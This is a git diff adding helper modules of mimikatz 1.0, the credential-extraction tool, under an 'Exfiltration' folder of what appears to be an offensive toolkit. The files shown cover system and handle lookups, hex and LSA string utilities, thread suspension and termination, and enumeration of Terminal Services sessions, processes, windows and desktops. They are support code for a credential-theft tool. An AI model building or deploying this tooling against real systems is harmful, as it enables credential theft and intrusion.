diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.h b/Exfiltration/mimikatz-1.0/modules/mod_system.h
new file mode 100644
index 0000000..7f41190
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_system.h
@@ -0,0 +1,34 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_ntddk.h"
+#include <security.h>
+#include <shlwapi.h>
+#include <sstream>
+#include <iomanip>
+
+class mod_system
+{
+private:
+ static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo);
+
+public:
+ static wstring getWinError(bool automatique = true, DWORD code = 0);
+
+ static bool getUserName(wstring * monUserName);
+ static bool getComputerName(wstring *monComputerName);
+ static bool getVersion(OSVERSIONINFOEX * maVersion);
+
+ static bool isFileExist(std::wstring &fichier, bool *resultat);
+ static bool getCurrentDirectory(wstring * monRepertoire);
+ static bool getAbsolutePathOf(wstring &thisData, wstring *reponse);
+ static bool getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid = NULL); // type ??
+ static bool getHandleType(HANDLE monHandle, wstring * strType);
+ static bool getHandleName(HANDLE monHandle, wstring * strName);
+
+ static OSVERSIONINFOEX GLOB_Version;
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp
new file mode 100644
index 0000000..98de950
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp
@@ -0,0 +1,101 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_text.h"
+
+PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast<PRTL_INIT_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString"));
+PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"));
+
+wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur)
+{
+ wostringstream monStream;
+ for(DWORD j = 0; j < maTaille; j++)
+ {
+ monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j];
+ if(longueur != 0)
+ {
+ monStream << L' ';
+ if ((j + 1) % longueur == 0)
+ monStream << endl;
+ }
+ }
+ return monStream.str();
+}
+
+wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne)
+{
+ wstring result;
+ if(monTab && maTaille > 0)
+ {
+ int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/;
+ if(IsTextUnicode(monTab, maTaille, &flags))
+ {
+ result.assign(reinterpret_cast<const wchar_t *>(monTab), maTaille / sizeof(wchar_t));
+ }
+ else
+ {
+ if(ligne)
+ result.assign(L"\n");
+ result.append(stringOfHex(monTab, maTaille, longueur));
+ }
+ }
+ else result.assign(L"<NULL>");
+
+ return result;
+}
+
+void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[])
+{
+ wstringstream z;
+ unsigned int temp;
+ for(size_t i = 0; i < maChaine.size() / 2; i++)
+ {
+ z.clear();
+ z << maChaine.substr(i * 2, 2); z >> hex >> temp;
+ monTab[i] = temp;
+ }
+}
+
+bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix)
+{
+ if(str && suffix)
+ {
+ size_t str_len = wcslen(str), suffix_len = wcslen(suffix);
+ return wstr_ends_with(str, str_len, suffix, suffix_len);
+ }
+ return false;
+}
+
+bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len)
+{
+ if(str && suffix && (suffix_len <= str_len))
+ return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0);
+ return false;
+}
+
+wstring mod_text::stringOfSTRING(UNICODE_STRING maString)
+{
+ return wstring(maString.Buffer, maString.Length / sizeof(wchar_t));
+}
+string mod_text::stringOfSTRING(STRING maString)
+{
+ return string(maString.Buffer, maString.Length);
+}
+
+void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[])
+{
+ RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t));
+ RtlInitUnicodeString(LsaString, monBuffer);
+}
+
+LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart)
+{
+ LUID monLUID = {0, 0};
+ wstringstream z;
+ z << highPart; z >> monLUID.HighPart;
+ z.clear();
+ z << lowPart; z >> monLUID.LowPart;
+ return monLUID;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.h b/Exfiltration/mimikatz-1.0/modules/mod_text.h
new file mode 100644
index 0000000..aeadd95
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_text.h
@@ -0,0 +1,31 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <sstream>
+#include <iomanip>
+
+using namespace std;
+
+class mod_text
+{
+public:
+ static PRTL_INIT_STRING RtlInitString;
+ static PRTL_INIT_UNICODESTRING RtlInitUnicodeString;
+
+ static wstring stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 0);
+ static wstring stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 32, bool ligne = true);
+ static void wstringHexToByte(wstring &maChaine, BYTE monTab[]);
+
+ static wstring stringOfSTRING(UNICODE_STRING maString);
+ static string stringOfSTRING(STRING maString);
+
+ static bool wstr_ends_with(const wchar_t * str, const wchar_t * suffix);
+ static bool wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len);
+
+ static void InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]);
+ static LUID wstringsToLUID(wstring &highPart, wstring &lowPart);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp
new file mode 100644
index 0000000..d57b4f4
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp
@@ -0,0 +1,77 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_thread.h"
+
+bool mod_thread::getList(vector<THREADENTRY32> * monVecteurThreads, DWORD * processId)
+{
+ bool reussite = false;
+
+ HANDLE hThreadsSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
+ if(hThreadsSnapshot != INVALID_HANDLE_VALUE)
+ {
+ THREADENTRY32 monThread;
+ monThread.dwSize = sizeof(THREADENTRY32);
+
+ if(reussite = (Thread32First(hThreadsSnapshot, &monThread) != 0))
+ {
+ do
+ {
+ if(!processId || (*processId == monThread.th32OwnerProcessID))
+ monVecteurThreads->push_back(monThread);
+ } while(Thread32Next(hThreadsSnapshot, &monThread));
+ }
+ CloseHandle(hThreadsSnapshot);
+ }
+
+ return reussite;
+}
+
+bool mod_thread::suspend(DWORD & threadId)
+{
+ bool reussite = false;
+
+ HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId);
+ if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
+ {
+ SuspendThread(monHandle);
+ CloseHandle(monHandle);
+ }
+
+ return reussite;
+}
+
+bool mod_thread::resume(DWORD & threadId)
+{
+ bool reussite = false;
+
+ HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId);
+ if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
+ {
+ ResumeThread(monHandle);
+ CloseHandle(monHandle);
+ }
+
+ return reussite;
+}
+
+bool mod_thread::stop(DWORD & threadId, DWORD exitCode)
+{
+ bool reussite = false;
+
+ HANDLE monHandle = OpenThread(THREAD_TERMINATE, false, threadId);
+ if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
+ {
+ TerminateThread(monHandle, exitCode);
+ CloseHandle(monHandle);
+ }
+
+ return reussite;
+}
+
+bool mod_thread::quit(DWORD & threadId)
+{
+ return PostThreadMessage(threadId, WM_QUIT, NULL, NULL) != 0;
+}
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.h b/Exfiltration/mimikatz-1.0/modules/mod_thread.h
new file mode 100644
index 0000000..a2f62f9
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.h
@@ -0,0 +1,19 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <tlhelp32.h>
+
+class mod_thread
+{
+public:
+ static bool getList(vector<THREADENTRY32> * monVecteurThreads, DWORD * processId = NULL);
+
+ static bool suspend(DWORD & threadId);
+ static bool resume(DWORD & threadId);
+ static bool stop(DWORD & threadId, DWORD exitCode = 0);
+ static bool quit(DWORD & threadId);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp
new file mode 100644
index 0000000..97c5fb0
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp
@@ -0,0 +1,106 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_ts.h"
+
+bool mod_ts::openServer(HANDLE * phServer, wstring * server, bool testIt)
+{
+ bool reussite = false;
+
+ if(reussite = !server)
+ {
+ *phServer = WTS_CURRENT_SERVER_HANDLE;
+ }
+ else
+ {
+ wchar_t * serverName = _wcsdup(server->c_str());
+ *phServer = WTSOpenServer(serverName);
+ delete[] serverName;
+ reussite = *phServer != NULL;
+ }
+ return reussite;
+}
+
+bool mod_ts::closeServer(HANDLE hServer)
+{
+ if(hServer != WTS_CURRENT_SERVER_HANDLE)
+ WTSCloseServer(hServer);
+
+ return true;
+}
+
+bool mod_ts::getSessions(vector<KIWI_WTS_SESSION_INFO> * mesSessions, wstring * server)
+{
+ bool reussite = false;
+
+ PWTS_SESSION_INFO tabSessions;
+ DWORD nbSessions = 0;
+ HANDLE hServer = NULL;
+
+ if(openServer(&hServer, server))
+ {
+ if(reussite = WTSEnumerateSessions(hServer, 0, 1, &tabSessions, &nbSessions) != 0)
+ {
+ for(DWORD i = 0; i < nbSessions; i++)
+ {
+ KIWI_WTS_SESSION_INFO a = {tabSessions[i].SessionId, tabSessions[i].State, tabSessions[i].pWinStationName};
+ mesSessions->push_back(a);
+ }
+ WTSFreeMemory(tabSessions);
+ }
+ closeServer(hServer);
+ }
+
+ return reussite;
+}
+
+bool mod_ts::getProcesses(vector<KIWI_WTS_PROCESS_INFO> * mesProcesses, wstring * server)
+{
+ bool reussite = false;
+
+ PWTS_PROCESS_INFO tabProcess;
+ DWORD nbProcess = 0;
+ HANDLE hServer = NULL;
+
+ if(openServer(&hServer, server))
+ {
+ if(reussite = WTSEnumerateProcesses(hServer, 0, 1, &tabProcess, &nbProcess) != 0)
+ {
+ for(DWORD i = 0; i < nbProcess; i++)
+ {
+ KIWI_WTS_PROCESS_INFO a = {
+ tabProcess[i].SessionId,
+ tabProcess[i].ProcessId,
+ tabProcess[i].pProcessName
+ };
+
+ wstring user;
+ wstring domain;
+ if(mod_secacl::sidToName(tabProcess[i].pUserSid, &user, &domain, server))
+ {
+ a.userSid.assign(domain);
+ a.userSid.push_back(L'\\');
+ a.userSid.append(user);
+ }
+ else if(!mod_secacl::sidToStrSid(tabProcess[i].pUserSid, &a.userSid))
+ {
+ if(tabProcess[i].pUserSid)
+ {
+ a.userSid.assign(L"erreur SID ; ");
+ a.userSid.append(mod_system::getWinError());
+ }
+ else
+ a.userSid.assign(L"n.a.");
+ }
+
+ mesProcesses->push_back(a);
+ }
+ WTSFreeMemory(tabProcess);
+ }
+ closeServer(hServer);
+ }
+
+ return reussite;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.h b/Exfiltration/mimikatz-1.0/modules/mod_ts.h
new file mode 100644
index 0000000..6815bb8
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.h
@@ -0,0 +1,35 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include "mod_secacl.h"
+#include "mod_system.h"
+#include <wtsapi32.h>
+
+class mod_ts
+{
+private:
+ static bool openServer(HANDLE * phServer, wstring * server = NULL, bool testIt = true);
+ static bool closeServer(HANDLE hServer);
+
+public:
+ typedef struct _KIWI_WTS_SESSION_INFO {
+ DWORD id;
+ DWORD state;
+ wstring sessionName;
+ } KIWI_WTS_SESSION_INFO, * PKIWI_WTS_SESSION_INFO;
+
+ typedef struct _KIWI_WTS_PROCESS_INFO {
+ DWORD sessionId;
+ DWORD pid;
+ wstring processName;
+ wstring userSid;
+ } KIWI_WTS_PROCESS_INFO, * PKIWI_WTS_PROCESS_INFO;
+
+ static bool getSessions(vector<KIWI_WTS_SESSION_INFO> * mesSessions, wstring * server = NULL);
+ static bool getProcesses(vector<KIWI_WTS_PROCESS_INFO> * mesProcesses, wstring * server = NULL);
+};
+
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp
new file mode 100644
index 0000000..a54c5b7
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp
@@ -0,0 +1,26 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_windows.h"
+
+BOOL WINAPI mod_windows::enumHWNDCallback(HWND hwnd, pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *> * mesHWNDS)
+{
+ DWORD processId = 0;
+ if(DWORD threadId = GetWindowThreadProcessId(hwnd, &processId))
+ {
+ if((mesHWNDS->first == 0) || (processId == mesHWNDS->first))
+ {
+ KIWI_HWND_ENTRY monEntree = {hwnd, processId, threadId};
+ mesHWNDS->second->push_back(monEntree);
+ }
+ }
+ return TRUE;
+}
+
+
+bool mod_windows::getHWNDsFromProcessId(vector<mod_windows::KIWI_HWND_ENTRY> * mesHWNDS, DWORD processId)
+{
+ return (EnumWindows(reinterpret_cast<WNDENUMPROC>(enumHWNDCallback), reinterpret_cast<LPARAM>(&make_pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *>(processId, mesHWNDS))) != FALSE);
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.h b/Exfiltration/mimikatz-1.0/modules/mod_windows.h
new file mode 100644
index 0000000..c5f9887
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.h
@@ -0,0 +1,22 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+
+class mod_windows
+{
+public:
+ typedef struct _KIWI_HWND_ENTRY
+ {
+ HWND monHandle;
+ DWORD pid;
+ DWORD threadId;
+ } KIWI_HWND_ENTRY, *PKIWI_HWND_ENTRY;
+
+ static bool getHWNDsFromProcessId(vector<mod_windows::KIWI_HWND_ENTRY> * mesHWNDS, DWORD processId = 0);
+private:
+ static BOOL WINAPI enumHWNDCallback(HWND hwnd, pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *> * mesHWNDS);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp
new file mode 100644
index 0000000..57b209e
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp
@@ -0,0 +1,29 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_winsta_desktop.h"
+
+BOOL CALLBACK mod_winsta_desktop::EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam)
+{
+ reinterpret_cast<vector<wstring> *>(lParam)->push_back(reinterpret_cast<const wchar_t *>(lpszWindowStation));
+ return TRUE;
+}
+
+BOOL CALLBACK mod_winsta_desktop::EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam)
+{
+ reinterpret_cast<vector<wstring> *>(lParam)->push_back(reinterpret_cast<const wchar_t *>(lpszDesktop));
+ return TRUE;
+}
+
+
+bool mod_winsta_desktop::getWinstas(vector<wstring> * mesWinstas)
+{
+ return (EnumWindowStations(EnumWindowStationProc, reinterpret_cast<LPARAM>(mesWinstas)) != 0);
+}
+
+bool mod_winsta_desktop::getDesktops(vector<wstring> * mesDesktop)
+{
+ return (EnumDesktops(NULL, EnumDesktopProc, reinterpret_cast<LPARAM>(mesDesktop)) != 0);
+}
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h
new file mode 100644
index 0000000..34b9a94
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h
@@ -0,0 +1,18 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+
+class mod_winsta_desktop
+{
+private:
+ static BOOL CALLBACK EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam);
+ static BOOL CALLBACK EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam);
+
+public:
+ static bool getWinstas(vector<wstring> * mesWinstas);
+ static bool getDesktops(vector<wstring> * mesDesktop); // !
+};